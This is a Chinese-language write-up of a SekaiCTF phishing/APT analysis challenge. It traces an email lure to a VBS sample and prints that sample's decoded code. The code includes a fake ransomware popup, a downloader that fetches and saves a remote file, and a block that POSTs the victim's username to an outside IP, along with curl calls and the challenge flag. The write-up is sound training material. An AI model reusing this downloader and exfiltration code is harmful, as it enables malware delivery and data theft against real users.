挑战非常简单。按照说明进行一些 APT 分析。一点也不难猜。我们得到了一个附件DEFCON Finals Invitation.eml
,一个典型的电子邮件文件。让我们在 Outlook 中安全地打开它,看看它是什么样子的:
检查纯文本和图像,似乎有一些有趣的东西,我们可以检查一下。没有 steg 或奇怪的密码。
- 社交媒体指向https://twitter.com/ProjectSekaiCTF,https://linkedin.com/company/project-sekai-ctf,和https://sekai.team,这些只是我们的自我宣传。
- DEF CON 官方网站指向https://defcon.org/,该网址同样有效。
- 唯一可疑的是
dc31-invite.ics
日历事件附件。我们来检查一下。
如果您不想迷路,请访问场馆地图。您还可以订阅我们的新闻通讯。
“场地地图”似乎无害,它指向https://storage.googleapis.com/defcon-nautilus/venue-guide.html,看起来像是一个合法的Nautilus托管静态网站。现在如果我们打开它,除了看到“Caesars Forum 场地地图”之外,该网站实际上正在尝试下载一些文件,venue-map.png
如果你点击下载按钮。幸运的是,Chrome 会显示全名并自动阻止它。Sus vbs 文件。
VBS 分析
现在让我们在 VM 中下载这个 vbs 文件并进行分析。你可以使用ANY.RUN等工具动态分析恶意软件样本。但由于这是一个初学者挑战,因此直接分析代码就足够简单了。
首先,如果你直接运行 vbs,它会弹出很多窗口警告你被黑客入侵并要求你进行比特币转账。这只是一种干扰。在弹出比特币窗口后,不久就会在事件完成时弹出另一个窗口。如果我们使用一些网络拦截工具,我们实际上可以观察到一些网络流量,但我们现在可以忽略它并开始阅读代码。
第一部分是一些计算逻辑,也就是MD5。
下一部分由大量随机评论组成,中间有一个函数:
Function OwOwO(h)
Dim a : a = Split(h)
Dim i
For i = 0 To UBound(a)
a(i) = Chr("&H" & a(i))
Next
OwOwO = Join(a, "")
End Function
我们可以在 VBS 编辑器上运行它,它将十六进制转换为 ASCII。下一部分:
Function Nautilus(ByVal sBase64EncodedText, ByVal fIsUtf16LE)
Dim sTextEncoding
if fIsUtf16LE Then sTextEncoding = "utf-16le" Else sTextEncoding = "utf-8"
With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
.DataType = "bin.base64"
.Text = sBase64EncodedText
Nautilus = BUtil(.NodeTypedValue, sTextEncoding)
End With
End Function
该函数基本上是一个 base64 解码器。下一部分:
function BUtil(ByVal byteArray, ByVal sTextEncoding)
If LCase(sTextEncoding) = "utf-16le" then
BUtil = CStr(byteArray)
Else
With CreateObject("ADODB.Stream")
.Type = 1
.Open
.Write byteArray
.Position = 0
.Type = 2
.CharSet = sTextEncoding
BUtil = .ReadText
.Close
End With
End If
end function
此函数是字节数组到字符串的转换器。下一部分:
Function XA3bVjQ3(A0CQ5, B9HW3)
Dim nFBRW6, X7IDP
On Error Resume Next
Set nFBRW6 = CreateObject(StRREverse("llehS.tpircSW"))
X7IDP = nFBRW6.RegRead(A0CQ5)
If err.number <> 0 Then
xA3bVjQ3 = B9HW3
Else
xA3bVjQ3 = X7IDP
End If
Set nFBRW6 = Nothing
End Function
strComputer = "."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control"
strUser = CreateObject("WScript.Network").UserName
oReg.EnumValues HKEY_LOCAL_MACHINE, strKeyPath, _
arrValueNames, arrValueTypes
res = Msgbox("Hi " & strUser & ", your data have been compromised!", vbOKCancel+vbCritical, "")
For jj=0 To UBound(arrValueNames)
Select Case arrValueTypes(jj)
Case REG_SZ, REG_EXPAND_SZ, REG_DWORD
str = XA3bVjQ3("HKLM\" & strKeyPath & "\" & arrValueNames(jj), "dummy")
res = Msgbox(arrValueNames(jj) & " LEAKED: " & str, vbOKCancel+vbCritical, "")
End Select
Next
res = Msgbox("Please transfer BTC to 0x0b26C24d538e3dfF58F7c733535e65a6674FB3aB to receive decrypted data...", vbOKOnly+vbInformation, "")
显然,这对应于执行脚本后的前半部分:显示您的个人数据已“泄露”(它实际上是在读取您的注册表并在屏幕上打印其 MD5 值)并要求进行 BTC 转账。这部分没什么有趣的。下一部分绝对至关重要:
ewkjunfw = Replace("long_str", "IlllIllIIIllllIllII", " ")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", OwOwO(ewkjunfw), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile Nautilus(StRREVErsE(replace("=QWZ###############_###lWbvJHct92Yucmbw5yZhxmZt42bjZWZkxFctVGdcp###############_###Y", "###############_###", "z")), False), 2
end with
有一个长字符串,我们IlllIllIIIllllIllII
用空格替换它。然后,我们调用OwOwO(ewkjunfw)
将其从十六进制转换为 ascii,然后 HTTP GET 。使用CyberChef我们将其解码为https://download1647.mediafire.com/l188u2d532qg3fOoLpilcI89p0_h4E0cGLjk_uvBUiag7E_rMZ-H5-me9Kr9SQLVQaKSiKcEvJO-EkfTSUqWlrN6SzXgI0LYBh-F5em4IA4iX3tOIGh0Ej46GlwvLOfT8pzvuy91Utej1r2I0jg7YsUNcssPted508dskWRpkAI/yea535hvgp32vmv/defcon-flag.png.XORed
。它保存在 中Nautilus(StRREVErsE(replace("=QWZ###############_###lWbvJHct92Yucmbw5yZhxmZt42bjZWZkxFctVGdcp###############_###Y", "###############_###", "z")), False)
,运行并解码为c:\temp\defcon-flag.png.compromised
。
如果您的虚拟机阻止下载和保存尝试,我们可以从下载该文件mediafire
,或者只需检查文件夹即可defcon-flag.png.compromised
。重要的是,原始文件名称为defcon-flag.png.XORed
,表明此图像文件似乎是使用 XOR“加密”的。
在这个阶段,我们似乎可以尝试使用 png 文件格式并恢复原始图像?我们可以89 50 4E 47 0D 0A 1A 0A
先尝试用 png 魔法字节对该图像进行异或:
它确实得到了一个可读的字符串!但还差得远,关键还不止这些。在这个阶段,我们应该记住 vbscript 的最后部分还没有被分析。代码是混淆的。它以一个长Execute(...)
语句开头。你可以更改Execute
为WScript.Echo
,然后你需要做的就是运行源代码,它会打印出原始的未混淆的 VBS 源代码。(参考:https://isvbscriptdead.com/vbs-obfuscator/)。
Dim http: Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
Dim url: url = "http://20.106.250.46/sendUserData"
With http
Call .Open("POST", url, False)
Call .SetRequestHeader("Content-Type", "application/json")
Call .Send("{""username"":""" & strUser & """}")
End With
res = Msgbox("Thank you for your cooperation!", vbOKOnly+vbInformation, "")
太好了,有一些新信息...一个请求以 json 有效负载POST
发送到端点。我们可以尝试使用以下命令向此端点发送请求:http://20.106.250.46/sendUserData
{"username":"<username>"}
curl
$ curl -X POST -H "Content-Type: application/json" -d '{"username":"test"}' http://20.106.250.46/sendUserData
{"key":"compromised","msg":"Not admin!"}
哎呀,好像不行admin
!请重试admin
:
$ curl -X POST -H "Content-Type: application/json" -d '{"username":"admin"}' http://20.106.250.46/sendUserData
{"key":"02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY","msg":"Data compromised!"}
答对了!密钥是02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY
,它的前缀与我们之前找到的相匹配。现在我们只需将加密的 png 与此密钥进行异或即可得到最终图像:
出现了模因图像,还有我们的旗帜!
SEKAI{so_i_guess_we'll_get_more_better_next_year-_-}